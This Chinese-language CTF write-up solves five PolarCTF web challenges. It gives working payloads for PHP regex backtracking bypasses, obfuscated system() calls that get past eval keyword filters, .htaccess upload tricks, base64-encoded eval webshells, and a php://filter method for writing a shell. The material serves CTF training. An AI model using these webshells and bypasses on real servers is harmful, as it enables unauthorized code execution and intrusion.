CTFCTF学习polarctf-web(1-5)
fulian23SWP
考察点
swp泄露+php正则回溯绕过
解题
看题目可知是vim的缓冲区备份文件
用dirsearch扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12358
Target: http://05003218-a7f1-4e4d-b88a-99a2bf9669c0.www.polarctf.com:8090/
[22:17:16] Scanning: [22:17:17] 200 - 340B - /.index.php.swp [22:17:17] 200 - 44B - /index.php [22:17:46] 200 - 44B - /index.php/login/ [22:17:57] 403 - 341B - /server-status [22:17:57] 403 - 342B - /server-status/
|
找到/.index.php.swp,访问得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| function jiuzhe($xdmtql){ return preg_match('/sys.*nb/is',$xdmtql); }
$xdmtql=@$_POST['xdmtql']; if(!is_array($xdmtql)){ if(!jiuzhe($xdmtql)){ if(strpos($xdmtql,'sys nb')!==false){ echo 'flag{*******}'; }else{ echo 'true .swp file?'; } }else{ echo 'nijilenijile'; } }
|
php中preg_match的匹配引擎为NFA(非确定性有限状态自动机),存在回溯
1 2
| DFA(确定性有限状态自动机): 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入 NFA(非确定性有限状态自动机):从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
|
相关文章:https://www.freebuf.com/articles/web/190794.html
所以构造payloadsys nb{{repeat:str(x|1000000)}}
让回溯超过最大限制直接返回false
详细过程:
sys
.*nb –> sys
nbxxxx…x
sys.*
nb –> sys nbxxxx...x
//字符串匹配完而正则没有走完,进行回溯
sys.*n
b –> sys n
bxxxx…x //实际到这里已经超出了回溯的限制,直接返回false
简单rce
考察点
eval中的关键字绕过
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php highlight_file(__FILE__); function no($txt){ if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){ return $txt;} else{ die("what's up");}} $yyds=($_POST['yyds']); if(isset($_GET['sys'])&&$yyds=='666'){ eval(no($_GET['sys'])); } else {echo "nonono"; } ?>
|
方法一:
看到是eval的绕过,直接用无字母数字payload
1
| ?sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98); --> system('cat /flag');
|
方法二:
多次传参绕过
1
| ?sys=$_GET[1]($_GET[2]);&1=system&2=whoami
|
方法三:
字符串拼接
1
| ?sys=(s.y.s.t.e.m)("ls");
|
方法四:
进制转换
1 2 3 4 5 6 7 8
| "\163\171\163\164\145\155"("whoami");
"\x70\x68\x70\x69\x6e\x66\x6f"();
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"("id");
|
上传
考察点
php上传<?绕过
解题
禁止上传php文件,修改后缀后返回<?,猜测对<?进行了过滤
方法一:
用.htaccess将木马文件用base64解码后用php解析(题目过滤了file关键字,用\换行绕过)
1 2 3
| SetHandler application/x-httpd-php php_value auto_append_fi\ le "php://filter/convert.base64-decode/resource=shell.png"
|
1
| PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
|
方法二:
用.htaccess允许木马编码非ascii字符,再用php解析
1 2 3 4 5
| AddType application/x-httpd-php .png
php_value zend.multibyte 1 php_value zend.detect_unicode 1 php_value display_errors 1
|
1
| <?php @eval($_POST[1]);?> //utf16或utf32编码
|
到底给不给flag呢
考察点
$$key = $$value;
双重变量
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php highlight_file('1.txt'); echo "<br><br>";
$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}'; $qwq= '我想要flag'; $QAQ = '我又不想要flag了,滚吧'; if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($qwq); }
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($QAQ); }
foreach ($_POST as $key => $value) { $$key = $value; }
foreach ($_GET as $key => $value) { $$key = $$value; }
echo $flag;
|
if(!isset($_GET['flag']) && !isset($_POST['flag']))
必须要有flag参数,而直接传参会覆盖掉flag的值
1 2 3
| foreach ($_GET as $key => $value) { $$key = $$value; }
|
这里将传入的键作为变量接收传入的值所对应的变量,所以传入c=flag&flag=c经过两次转换,flag的值不变,且传入的flag参数
写shell
考察点
php exit()绕过
解题
1 2 3 4
| <?php highlight_file(__FILE__); file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']); ?>
|
用file_put_contents写文件,但是中间有exit(),所以需要绕过
filename传入php://filter/convert.base64-decode/resource=shell.php
用base64解码器写入文件,content中传入base64编码的一句话木马(注意补全)
filter会过滤base64字符A-Z a-z 0-9 + / =
其他字符会被丢弃,所以文件开头<?php exit();
会过滤出phpexit
7个字符,所以base64编码后的木马需要补1个字符
1
| content=aPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
|